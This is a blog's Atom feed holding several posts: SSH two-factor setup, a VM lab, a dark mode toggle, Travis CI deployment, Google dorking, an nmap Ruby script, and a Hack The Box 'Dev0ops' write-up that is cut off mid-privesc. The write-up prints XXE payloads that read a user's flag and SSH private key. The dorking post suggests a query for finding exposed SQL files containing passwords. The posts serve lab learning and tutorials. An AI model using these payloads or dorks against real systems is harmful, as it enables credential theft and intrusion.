<p>You'll be asked a few questions. I forgot what they where, so you're on your own with this, just read them and you'll probably be fine. After the first question a lot of output will scroll past, including a large QR code. At this point, use your authenticator app on your phone to scan the QR code or manually type in the secret key. Make sure you also record the secret key, verification code, and the recovery codes in a safe place.</p>
<h3 id="configuringssh">Configuring SSH</h3>
<p>Open <code class="prettyprint">/etc/pam.d/sshd</code> in the only good editor:</p>
<pre class="prettyprint linenums"><code>$ sudo vim /etc/pam.d/sshd
</code></pre>
<p>And add this line to the bottom:</p>
<pre class="prettyprint linenums"><code>...
auth required pam_google_authenticator.so
</code></pre>
<p>Now we need to configure SSH t support the authentication, open <code class="prettyprint">/etc/ssh/sshd_config</code>:</p>
<pre class="prettyprint linenums"><code>$ sudo vim /etc/ssh/sshd_config
</code></pre>
<p>Look for the <code class="prettyprint">ChallengeResponseAuthentication</code> line. Change it from no to yes:</p>
<pre class="prettyprint linenums"><code>...
# Change to no to disable s/key passwords
#ChallengeResponseAuthentication no
ChallengeResponseAuthentication yes
...
</code></pre>
<p>Restart SSH:</p>
<pre class="prettyprint linenums"><code>$ sudo systemctl restart sshd.service
</code></pre>
<p>Now we can test if it works, open a new terminal session and attempt to SSH into it. If you don't use SSH keys, you're an idiot, but it should prompt for a verification code after you enter the password. If you're smart and previously created an SSH key, you'll notice you didn't have to type a verification code. This is because an SSH key overrides all other authentication options by default.</p>
<p><strong>The Next Part</strong> will go through changing that to set up an SSH key as one factor and the verification code as a second.</p>
<h3 id="thenextpart">The Next Part</h3>
<p>Open the sshd config file again and add the following line to the bottom:</p>
<pre class="prettyprint linenums"><code>...
AuthenticationMethods publickey,password publickey,keyboard-interactive
</code></pre>
<p>Next, open the PAM sshd configuration file again. On CentOS, comment out this line:</p>
<pre class="prettyprint linenums"><code>...
#@include common-auth
...
</code></pre>
<p>On Ubuntu, comment out this line:</p>
<pre class="prettyprint linenums"><code>...
#auth substack password-auth
...
</code></pre>
<p>Now, restart the SSH service and test it again. If it all works, you should now call me your saviour who prevented you from getting hacked and losing millions of dollars because your developers have no idea what they're doing and setup their enterprise systems by following guides from shitty blogs.</p>
<p>You're welcome.</p>
<p><strong>Update 2019-01-22:</strong> My TravisCI deployment script was messed up because of this. But it was an easy fix, just <a href="https://askubuntu.com/questions/864986/disable-pam-module-for-group">disable PAM for the user group TravisCI used.</a></p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[I Put A Bunch Of VMs Together And Call It A Lab]]></title>
        <id>https://justin.duch.me/post/vm_labo</id>
        <link href="https://justin.duch.me/post/vm_labo"/>
        <updated>2018-12-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>During the past few days, I've been setting up virtual machines to use for demonstrations on this blog. It's very basic, two Windows boxes and a Linux server and although I originally wanted a Windows server as well, those plans where short lived after I saw the price for a license.</p>
<p>All of the VMs are stored on a 250GB external SSD (because my MacBook has zero space on it) and are accessed from VMware Fusion disconnected from the internet and in a virtual private network.</p>
<p>While the configuration and firewall/anti-virus stuff will constantly change, I'll probably mainly only use this for malware analysis so I've pre-installed some software to use. On the Windows boxes, there's Python and a debugger, and on the Linux box I've installed INetSim to simulate common internet services and Wireshark (you should know what this does). Just realising now that I should also give it a Samba share…</p>
<p>I've also created another box in the network to carry out any pen testing I may do. It runs Parrot OS as opposed to Kali (hence the thumbnail). I've never touched it before this, so I'm intrigued to see how it differs to Kali. If it's not much of a pain, I may also consider switching my main pen testing VM to Parrot.</p>
<p>Anyway here's the list of the boxes.</p>
<table>
<thead>
<tr>
<th>OS</th>
<th>IP</th>
<th>HOSTNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows 7 x86</td>
<td>192.168.1.70</td>
<td>RIOTDIVISION</td>
</tr>
<tr>
<td>Windows 10 x64</td>
<td>192.168.1.50</td>
<td>ROSEN</td>
</tr>
<tr>
<td>Lubuntu 10.14 x64</td>
<td>192.168.1.100</td>
<td>ANDWANDER</td>
</tr>
<tr>
<td>Parrot 4.4 x64</td>
<td>192.168.1.20</td>
<td>ACRONYM</td>
</tr>
</tbody>
</table>
<p>And yes, I did name them after clothing companies. What did you expect? This is a fashion blog after all.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Saving The World One Dark Mode Setting At A Time]]></title>
        <id>https://justin.duch.me/post/dark_mode</id>
        <link href="https://justin.duch.me/post/dark_mode"/>
        <updated>2018-12-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>According to very reputable <a href="https://en.wikipedia.org/wiki/List_of_sauces">sources</a>, light mode displays in software are actually the leading cause in climate change. It has also been proven that people who use light mode have a much lower IQ because the brightness of the screen burns their brain cells away and that's how science works I think. If you disagree with this, you are cyber bullying me and I will report you to ASIO.</p>
<p>Anyway, now you must be wondering why my blog looks like this.</p>
<p><img src="/img/dark-mode-no.png" alt="image-alternative" /></p>
<p>And that's because I haven't been bothered to change any of the CSS from the Bootstrap template I bought.</p>
<p>But I've decided that I've had enough! I've gotten off my lazy ass and immediately sat back down (because who codes standing up?) to spends HOURS to add a dark mode to this website for you, my dear reader!</p>
<p>Now your eyes will be saved from the global warming, IQ destroying tyranny of light modes by just pressing the Dark Mode button at the bottom of the page.</p>
<p><img src="/img/dark-mode-button.png" alt="image-alternative" /></p>
<p>Now look at it… beautiful.</p>
<p><img src="/img/dark-mode-yes.png" alt="image-alternative" /></p>
<p>And in case you wanted it. Here's the code.</p>
<pre class="prettyprint linenums"><code class="javascript language-javascript"><span class="hljs-keyword">if</span> (theme === <span class="hljs-string">&#x27;dark&#x27;</span>) {
  $(<span class="hljs-string">&#x27;head&#x27;</span>).<span class="hljs-title function_">append</span>(<span class="hljs-string">&#x27;&lt;link rel=&quot;stylesheet&quot; href=&quot;/common/static/css/dark-override.css&quot;&gt;&#x27;</span>);
  $(<span class="hljs-string">&#x27;#ToggleTheme&#x27;</span>).<span class="hljs-title function_">text</span>(<span class="hljs-string">&#x27;Light Mode&#x27;</span>);
}

$(<span class="hljs-string">&#x27;#ToggleTheme&#x27;</span>).<span class="hljs-title function_">click</span>(<span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {
  <span class="hljs-keyword">if</span> (theme !== <span class="hljs-string">&#x27;dark&#x27;</span>) {
    <span class="hljs-variable language_">localStorage</span>.<span class="hljs-title function_">setItem</span>(<span class="hljs-string">&#x27;theme&#x27;</span>, <span class="hljs-string">&#x27;dark&#x27;</span>);
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-variable language_">localStorage</span>.<span class="hljs-title function_">setItem</span>(<span class="hljs-string">&#x27;theme&#x27;</span>, <span class="hljs-string">&#x27;light&#x27;</span>);
  }

  location.<span class="hljs-title function_">reload</span>();
});
</code></pre>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Auto Deploying WIth Travis CI And SSH]]></title>
        <id>https://justin.duch.me/post/auto_deploy_with_travis_ci</id>
        <link href="https://justin.duch.me/post/auto_deploy_with_travis_ci"/>
        <updated>2018-11-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>For the past few days I've been working on getting auto deployment with Travis CI for this website. If you didn't know already, I write these articles on a localhost server and export a SQL dump to the production server. Now all I would need to do is push the dump in the Git commit and it should import it automatically (as long as all the tests succeed). Anyway, here's how to set it up.</p>
<p>This is the process we will have to go through:</p>
<ul>
<li>Set up SSH keys.</li>
<li>Add the server's copy of the repository as a Git remote.</li>
<li>Push to the remote.</li>
<li>SSH into the server and import the SQL dump.</li>
</ul>
<h3 id="aquicknoteonsecurityandsensitiveinformation">A Quick Note On Security And Sensitive Information</h3>
<p>Connecting from a Travis build box (or any CI system really) to a remote host implies to have the private SSH key on the CI box (_rsa files) and its associated public SSH key on the remote host end (_rsa.pub files). We need to make sure our private key is never seen in the Git repo or in the build logs. Thankfully, the Travis CLI client supports file encryption, so make sure to <a href="https://github.com/travis-ci/travis.rb#installation">install it</a> so we can encrypt it before pushing it to the repo.</p>
<p>Git also recommends using a separate git user for remote interactions. However, your repositories might be under a separate user (apps, for example), so you'll need to add both those users to a group (deploy, for example). <a href="https://git-scm.com/book/en/v2/Git-on-the-Server-Setting-Up-the-Server">Here's a guide on how to do that.</a></p>
<h3 id="sshkeypair">SSH keypair</h3>
<p>Generate a dedicated SSH key (it is easier to isolate and to revoke).</p>
<pre class="prettyprint linenums"><code>ssh-keygen -t rsa -b 4096 -C 'build@travis-ci.org' -f ./deploy\_rsa
</code></pre>
<p>Press the <code class="prettyprint">[Enter]</code> key to use the defaults for the filename and leave the password blank.</p>
<p>Having a RSA key without a password is "OK" for use as a key exclusively used for deployment on Travis-CI because the key will be encrypted using Travis' public key meaning that only Travis can decrypt it. Given that we are "trusting" Travis-CI with the private key there is not much point adding password to it, because the password can easily be "stripped" once the key is decrypted. and, given that Travis needs to "know" the password in order to use the key. If an "attacker" was to gain access to Travis' system and had their private key, the Internet would "break"! seriously, enough NPM packages are automatically published by Travis-CI that it would be "left-pad gate" times a million if Travis were compromised!</p>
<p>Now encrypt the private key to make it readable only by Travis CI (so as we can commit safely too!).</p>
<pre class="prettyprint linenums"><code>travis encrypt-file deploy_rsa --add
</code></pre>
<p>Copy the public key onto the remote SSH host.</p>
<pre class="prettyprint linenums"><code>ssh-copy-id -i deploy_rsa.pub <ssh-user>@<deploy-host>
</code></pre>
<p>If you have both git and apps users, make sure to do it for both of them.</p>
<p>Remove the un-encrypted private key file (the public key is mostly okay to push).</p>
<pre class="prettyprint linenums"><code>rm -f deploy_rsa
</code></pre>
<p>Stage the modified files into Git.</p>
<pre class="prettyprint linenums"><code>git add deploy_rsa.enc deploy_rsa.pub
</code></pre>
<h3 id="remotegitrepository">Remote Git Repository</h3>
<p>Assuming you already have your Git repository cloned onto the remote server, the next step is to configure it to allow pushes. Run this to allow Git to accept pushes to a remote with a clean working tree.</p>
<pre class="prettyprint linenums"><code>git config --local receive.denyCurrentBranch updateInstead
</code></pre>
<p>If you're using CentOS 7, you may also need to update Git to &gt;2.14 as previous versions do not support <code class="prettyprint">receive.denyCurrentBranch updateInstead</code>.</p>
<p>Once you've done that, make sure that the user and the group can access and modify the repository folder's contents.</p>
<pre class="prettyprint linenums"><code>chown apps:deploy -R <repo> chmod g+rw -R <repo>
</code></pre>
<h3 id="configuringtravis">Configuring Travis</h3>
<p>This part can change by quite a bit depending on what you want to do, so I'll just show you what I did. In our .travis.yml we will add these lines.</p>
<pre class="prettyprint linenums"><code>deploy:
    provider:
    script skip_cleanup: true
    script: deploy/deploy.sh
    on:
        branch: master
</code></pre>
<p>This will run the script deploy/deploy.sh which looks like this.</p>
<pre class="prettyprint linenums"><code class="bash language-bash"><span class="hljs-meta">#!/bin/bash</span>
git config --global push.default matching
git remote add deploy ssh://git@<span class="hljs-variable">$IP</span>:$PORT<span class="hljs-variable">$DEPLOY_DIR</span>
git push deploy master

ssh apps@<span class="hljs-variable">$IP</span> -p <span class="hljs-variable">$PORT</span> &lt;&lt;<span class="hljs-string">EOF
    cd $DEPLOY_DIR
    mysql -u $DB_USER -p$DB_PASS blog &lt; migrations/articles.sql
EOF</span>
</code></pre>
<p>Once you're done with the deploy script, push it to your repository and enable Travis integration for it. The next step is to add environment variables to Travis to keep your IP, SSH port, and deploy directory secret. In the Travis menu, select your repository, click "More options", and click "Settings". Scroll down until you see the list of environment variables. There should be some already there that were added by the Travis CLI in the form encrypted_[hex string]_iv/key. Leave those alone. Add <code class="prettyprint">IP</code>, <code class="prettyprint">PORT</code>, and <code class="prettyprint">DEPLOY_DIR</code> as well as <code class="prettyprint">DB_USER</code> and <code class="prettyprint">DB_PASS</code> (if you need them) as variables with their corresponding values. For full security, do not display these values in the build log. Once you've finished that, you're done!</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Google Hacking For Fun And For Profit]]></title>
        <id>https://justin.duch.me/post/google_hacking</id>
        <link href="https://justin.duch.me/post/google_hacking"/>
        <updated>2018-11-08T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Google Hacking (or Google Dorks) can be very useful when gathering information on a business as it is essentially a way to use the search engine to pinpoint websites that have certain flaws, vulnerabilities, and sensitive information that can be taken advantage of. Google offers the opportunity to perform advanced search queries using special operators. Beyond the common operators (AND, OR, +, -, “”) there are more specific filters that you can use.</p>
<p><img src="/img/google-search.png" alt="image-alternative" /></p>
<p>If you constantly look up code error messages on Google like me, you've more than likely come across a Google Dork when clicking the <em>'more results from stackoverflow.com'</em> which changes the search term to this.</p>
<p><img src="/img/google-dork-search.png" alt="image-alternative" /></p>
<p>Basically it's just added site:stackoverflow.com to the search query which means that it will limit all the results to only those from the given website. There are far more operators, too many to include in this guide, but I'll go over some of the most common:</p>
<ul>
<li><strong>cache</strong>: will show the cached content of the specific website.</li>
<li><strong>link</strong>: will display websites that have links to the specific website.</li>
<li><strong>site</strong>: limits the search results to the website given.</li>
<li><strong>filetype</strong>: searches for all documents with a specific extension.</li>
<li><strong>ext</strong>: very similar to filetype, but this looks for files based on their file extension.</li>
<li><strong>intext</strong>: searches the entire content of a given page for keywords supplied.</li>
<li><strong>allintext</strong>: similar to the previous operator, but requires a page to match all of the given keywords.</li>
</ul>
<p>You can also prepend a hyphen to all of these (except cache) to exclude the filter instead. E.g <code class="prettyprint">-site:www.site.com</code> will exclude all results from <code class="prettyprint">site.com</code>.</p>
<p>Now let's look at another example. We will be looking for PDFs on the docker site by searching <code class="prettyprint">site:www.docker.com filetype:pdf</code>.</p>
<p><img src="/img/google-docker.png" alt="image-alternative" /></p>
<p>When used correctly, Google Dorks can uncover some incredible information such as email addresses and lists, login credentials, sensitive files, website vulnerabilities, and even financial information (e.g. payment card data).</p>
<p>One Google Dork I particularly enjoy is <code class="prettyprint">inurl:org AND filetype:sql AND intext:password</code>. I won't show you a picture of it in action (because it includes sensitive data), so you should just go and search it yourself. If you look long enough, you may find some very interesting results…</p>
<p>For more queries, you can look at the links below.</p>
<ul>
<li><a href="https://www.exploit-db.com/google-hacking-database/">Exploit DB: GHDB</a></li>
<li><a href="http://www.google-dorking.com/">Google Dorking</a></li>
</ul>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Writing A Simple Ruby Script To Automate Nmap]]></title>
        <id>https://justin.duch.me/post/ruby_nmap_script</id>
        <link href="https://justin.duch.me/post/ruby_nmap_script"/>
        <updated>2018-10-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>An nmap scan should always be the first thing to do when you start a box, and since I'm too lazy to write <code class="prettyprint">nmap -sV -sC -oA initial box_ip</code> (and I want a progress bar instead of having to constantly press a button to see progress), we're just going to write a script to do it for us.</p>
<p>I'm using Ruby for this because I think it's just as readable as Python (so I don't have to explain as much) and because I'm not bothered to learn how to do this in Python, which means that this is the first time I've ever shown code on this website that isn't Python.</p>
<p>Anyway, to do this we will use <a href="https://ruby-doc.org/stdlib-2.4.1/libdoc/pty/rdoc/PTY.html">a class from Ruby's standard library called PTY</a>. <code class="prettyprint">PTY</code> allows you to spawn an external process and then interact with that process by using puts to write to it's <code class="prettyprint">stdin</code> and gets to read from it's <code class="prettyprint">stdout</code>.</p>
<pre class="prettyprint linenums"><code class="ruby language-ruby"><span class="hljs-meta">#!/usr/bin/ruby</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;pty&#x27;</span>
cmd = <span class="hljs-string">&quot;nmap -sV <span class="hljs-subst">#{<span class="hljs-variable constant_">ARGV</span>[<span class="hljs-number">0</span>]}</span>&quot;</span>

<span class="hljs-variable constant_">PTY</span>.spawn( cmd ) <span class="hljs-keyword">do</span> |<span class="hljs-params">stdout, stdin, pid</span>|
  loop <span class="hljs-keyword">do</span>
    stdin.puts <span class="hljs-string">&#x27; &#x27;</span>
    puts stdout.gets.chomp
    sleep <span class="hljs-number">0.1</span>
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<p>This is our initial code. It runs nmap with the box IP as an argument and every 0.1 seconds, it sends a space character to stdin and prints stdout so we can see the progress of the scan. This works but right now we are only running nmap with -sV, so now we should add all the arguments we need.</p>
<pre class="prettyprint linenums"><code class="ruby language-ruby"><span class="hljs-meta">#!/usr/bin/ruby</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;pty&#x27;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;fileutils&#x27;</span>

<span class="hljs-title class_">FileUtils</span>.mkdir_p <span class="hljs-string">&#x27;nmap&#x27;</span>
cmd = <span class="hljs-string">&quot;nmap -sV -sC -oA nmap/initial <span class="hljs-subst">#{<span class="hljs-variable constant_">ARGV</span>[<span class="hljs-number">0</span>]}</span>&quot;</span>

<span class="hljs-variable constant_">PTY</span>.spawn( cmd ) <span class="hljs-keyword">do</span> |<span class="hljs-params">stdout, stdin, pid</span>|
  loop <span class="hljs-keyword">do</span>
    stdin.puts <span class="hljs-string">&#x27; &#x27;</span>
    puts stdout.gets.chomp

    running = <span class="hljs-string">%x[ ps -p <span class="hljs-subst">#{pid}</span> -o comm= ]</span>
    <span class="hljs-keyword">if</span> running.<span class="hljs-keyword">include</span>? <span class="hljs-string">&quot;defunct&quot;</span>
      <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">end</span>

    sleep <span class="hljs-number">0.1</span>
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<p>Now we are creating a folder where all the nmap scripts will be stored using the library 'fileutils' and we've edited the 'cmd' variable to use all the arguments. I've also added a check to see if nmap has finshed in order to break out of the loop by checking if the process name includes the words 'defunct'.</p>
<p>If you run this you will see that stdout becomes very messy as the progress is constantly being called. Let's get that progress bar working.</p>
<pre class="prettyprint linenums"><code class="ruby language-ruby"><span class="hljs-meta">#!/usr/bin/ruby</span>

<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;pty&#x27;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;fileutils&#x27;</span>
<span class="hljs-keyword">require</span> <span class="hljs-string">&#x27;progress_bar&#x27;</span>

<span class="hljs-title class_">FileUtils</span>.mkdir_p <span class="hljs-string">&#x27;nmap&#x27;</span>
cmd = <span class="hljs-string">&quot;nmap -sV -sC -oA nmap/initial <span class="hljs-subst">#{<span class="hljs-variable constant_">ARGV</span>[<span class="hljs-number">0</span>]}</span>&quot;</span>

<span class="hljs-variable">$syn_bar</span> = <span class="hljs-title class_">ProgressBar</span>.new
<span class="hljs-variable">$srv_bar</span> = <span class="hljs-title class_">ProgressBar</span>.new
<span class="hljs-variable">$nse_bar</span> = <span class="hljs-title class_">ProgressBar</span>.new

<span class="hljs-variable">$syn_progress</span> = <span class="hljs-number">0</span>
<span class="hljs-variable">$srv_progress</span> = <span class="hljs-number">0</span>
<span class="hljs-variable">$nse_progress</span> = <span class="hljs-number">0</span>

<span class="hljs-variable">$step</span> = <span class="hljs-string">&quot;init&quot;</span>

<span class="hljs-keyword">def</span> <span class="hljs-title function_">increment_bar</span>(<span class="hljs-params">stdout</span>)
  new_status = stdout.match(<span class="hljs-regexp">/[[:digit:]]{1,2}\.[[:digit:]]{2}/</span>)
  new_status ? new_status = new_status[<span class="hljs-number">0</span>].to_i : <span class="hljs-keyword">return</span>

  <span class="hljs-keyword">if</span> stdout.<span class="hljs-keyword">include</span>? <span class="hljs-string">&quot;SYN Stealth Scan&quot;</span>
    <span class="hljs-keyword">if</span> <span class="hljs-variable">$step</span> != <span class="hljs-string">&quot;syn&quot;</span>
      puts <span class="hljs-string">&quot;Step 1/3 [SYN Stealth Scan]&quot;</span>
      <span class="hljs-variable">$step</span> = <span class="hljs-string">&quot;syn&quot;</span>
    <span class="hljs-keyword">end</span>

    inc_amount = new_status - <span class="hljs-variable">$syn_progress</span>
    <span class="hljs-variable">$syn_progress</span> = new_status
    <span class="hljs-variable">$syn_bar</span>.increment! inc_amount
  <span class="hljs-keyword">elsif</span> stdout.<span class="hljs-keyword">include</span>? <span class="hljs-string">&quot;Service&quot;</span>
    <span class="hljs-keyword">if</span> <span class="hljs-variable">$step</span> != <span class="hljs-string">&quot;srv&quot;</span>
      puts <span class="hljs-string">&quot;Step 2/3 [Service Scan]&quot;</span>
      <span class="hljs-variable">$step</span> = <span class="hljs-string">&quot;srv&quot;</span>
    <span class="hljs-keyword">end</span>

    inc_amount = new_status - <span class="hljs-variable">$srv_progress</span>
    <span class="hljs-variable">$srv_progress</span> = new_status
    <span class="hljs-variable">$srv_bar</span>.increment! inc_amount
  <span class="hljs-keyword">elsif</span> stdout.<span class="hljs-keyword">include</span>? <span class="hljs-string">&quot;NSE Timing&quot;</span>
    <span class="hljs-keyword">if</span> <span class="hljs-variable">$step</span> != <span class="hljs-string">&quot;nse&quot;</span> &amp;&amp; <span class="hljs-variable">$step</span> != <span class="hljs-string">&#x27;init&#x27;</span>
      <span class="hljs-comment"># NSE Timing shows up before it actually begins</span>
      puts <span class="hljs-string">&quot;Step 3/3 [NSE]&quot;</span>
      <span class="hljs-variable">$step</span> = <span class="hljs-string">&quot;nse&quot;</span>
    <span class="hljs-keyword">end</span>

    inc_amount = new_status - <span class="hljs-variable">$nse_progress</span>
    <span class="hljs-variable">$nse_progress</span> = new_status
    <span class="hljs-variable">$nse_bar</span>.increment! inc_amount
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>

<span class="hljs-variable constant_">PTY</span>.spawn( cmd ) <span class="hljs-keyword">do</span> |<span class="hljs-params">stdout, stdin, pid</span>|
  loop <span class="hljs-keyword">do</span>
    stdin.puts <span class="hljs-string">&#x27; &#x27;</span>
    response = stdout.gets.chomp

    increment_bar(response)

    running = <span class="hljs-string">%x[ ps -p <span class="hljs-subst">#{pid}</span> -o comm= ]</span>
    <span class="hljs-keyword">if</span> running.<span class="hljs-keyword">include</span>? <span class="hljs-string">&quot;defunct&quot;</span>
      <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">end</span>

    sleep <span class="hljs-number">0.1</span>
  <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<p>This is a really quick and dirty way of getting a progress bar using the library <code class="prettyprint">progress_bar</code>. Make sure to install it with:</p>
<pre class="prettyprint linenums"><code>gem install progress_bar
</code></pre>
<p>Obviously I'm not super proud this script, it's actually pretty terrible for my standards, so much so that I don't want to explain it. But it does what I wanted it to and only took me 5 minutes to write. Someday I may comeback to it to clean up all the repeating code and stop using so many global variables (but I say that about all the code I write, so whatever).</p>
<p>Now I can move save this as <code class="prettyprint">/opt/scan-box</code> and call it with <code class="prettyprint">/opt/scan-box box_ip</code>. You could also put it in <code class="prettyprint">/bin</code> so you can call it with just <code class="prettyprint">scan-box box_ip</code>, but I don't like doing that.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Dev0ops]]></title>
        <id>https://justin.duch.me/post/htb_dev0ops</id>
        <link href="https://justin.duch.me/post/htb_dev0ops"/>
        <updated>2018-10-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>The first box I've ever done (Jerry doesn't count because it was piss easy) has been retired a few days ago, so now let's go through how I solved it.</p>
<p><img src="/img/dev0ops-nmap.png" alt="image-alternative" /></p>
<p>The nmap scan shows it's running Gunicorn on port 5000. Web apps are always fun, and it's even using tech I've dabbled in before. Anyway we should open it in a browser.</p>
<p><img src="/img/dev0ops-website.png" alt="image-alternative" /></p>
<p>Not much to go on here apart from the fact that it's supposed to be a blog. Let's run gobuster on it to see if there is anything else.</p>
<p><img src="/img/dev0ops-gobuster.png" alt="image-alternative" /></p>
<p>The scan hasn't completed yet but we've already found some interesting urls so we can forget about it and leave gobuster in the background for now. <code class="prettyprint">/feed</code> is just the image at the bottom of the main page you see up top, the important one is <code class="prettyprint">upload</code>.</p>
<p><img src="/img/dev0ops-upload.png" alt="image-alternative" /></p>
<p>As you can see it's just a way to upload new posts as XML. Let's try and upload something. The format of the XML file is given to us as Author, Subject, and Content. Also note the capitalisation, which is actually important because it won't accept it with lowercase (I wasted over 30 mins trying to figure out why it wouldn't accept it). Here is our test XML (the name of the parent tag also doesn't matter):</p>
<pre class="prettyprint linenums"><code class="xml language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">file</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">file</span>&gt;</span>
</code></pre>
<p><img src="/img/dev0ops-upload-test.png" alt="image-alternative" /></p>
<p>So it just processes it and displays it back. It should be pretty obvious now that all we need to do is an XML injection to read the filesystem. We can get <code class="prettyprint">user.txt</code> like this without ever having to actually access the server. This is the payload to use:</p>
<pre class="prettyprint linenums"><code class="xml language-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-keyword">foo</span> [ <span class="hljs-meta">&lt;!ENTITY <span class="hljs-keyword">Subject</span> <span class="hljs-keyword">ANY</span> &gt;</span>
    <span class="hljs-meta">&lt;!ENTITY <span class="hljs-keyword">xxe</span> <span class="hljs-keyword">SYSTEM</span> <span class="hljs-string">&quot;file:///home/roosa/user.txt&quot;</span> &gt;</span>
]&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">file</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span><span class="hljs-symbol">&amp;xxe;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">file</span>&gt;</span>
</code></pre>
<p>Basically, we are creating an external entity named <code class="prettyprint">xxe</code> which forces the XML parser to access the resource specified by the URI <strong>"file:///home/roosa/user.txt"</strong> which I got from the <strong>"File path:"</strong> field which is displayed when we uploaded our test XML.</p>
<p><img src="/img/dev0ops-user.png" alt="image-alternative" /></p>
<p>Uploading it gives us user in the subject field.</p>
<p>Now looking at files from the filesystem is neat and all, but it isn't going to give us root. We're definitely going to need to find a way to get a shell. The first thing I did was get <code class="prettyprint">/etc/passwd</code> which was fine, but I was unable to get <code class="prettyprint">/etc/shadow</code> presumably because the Gunicorn instance doesn't run as root, so my plan of cracking root's password was foiled.</p>
<p>After a bit of thinking and looking at random files, I went back to the nmap scan saw <strong><em>THE ANSWER</em></strong>. Here is the new payload:</p>
<pre class="prettyprint linenums"><code class="xml language-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-keyword">foo</span> [ <span class="hljs-meta">&lt;!ENTITY <span class="hljs-keyword">Subject</span> <span class="hljs-keyword">ANY</span> &gt;</span>
    <span class="hljs-meta">&lt;!ENTITY <span class="hljs-keyword">xxe</span> <span class="hljs-keyword">SYSTEM</span> <span class="hljs-string">&quot;file:///home/roosa/.ssh/id\_rsa&quot;</span> &gt;</span>
]&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">file</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Author</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Author</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Subject</span>&gt;</span><span class="hljs-symbol">&amp;xxe;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Subject</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Content</span>&gt;</span>test<span class="hljs-tag">&lt;/<span class="hljs-name">Content</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">file</span>&gt;</span>
</code></pre>
<p>Here we are just taking the user's SSH private key, so we should hopefully be able to sort of impersonate them and SSH into the box without a password.</p>
<p><img src="/img/dev0ops-sshkey.png" alt="image-alternative" /></p>
<p>Nice! Now we can save it into a file and SSH into the box. But first we need to format it and then give the the correct permissions. I used <a href="https://www.samltool.com/format_privatekey.php">this tool</a> to format the key and edited the permissions with (where ssh_rsa is our private key file):</p>
<pre class="prettyprint linenums"><code>chmod 400 ssh_rsa
</code></pre>
<p>This only gives root access to the file (which is us) because SSH requires that is is not editable by other users. Now we force SSH to use our private key file.</p>
<p><img src="/img/dev0ops-sshin.png" alt="image-alternative" /></p>
<p>And we're in! Now for privesc.</p>
<p>Normally the first thing I do when given shell is look at their bash history.</p>
<p><img src="/img/dev0ops-bash-history.png" alt="image-alternative" /></p>
<p>Apart from using an inferior text editor (emacs was also being used further down), the thing that stands out the most is Git, which is also very familiar to me. The Git repository is in <code class="prettyprint">~/work/blogfeed</code>, so let's go there and look at the Git logs with git log.</p>
<p><img src="/img/dev0ops-git-log.png" alt="image-alternative" /></p>
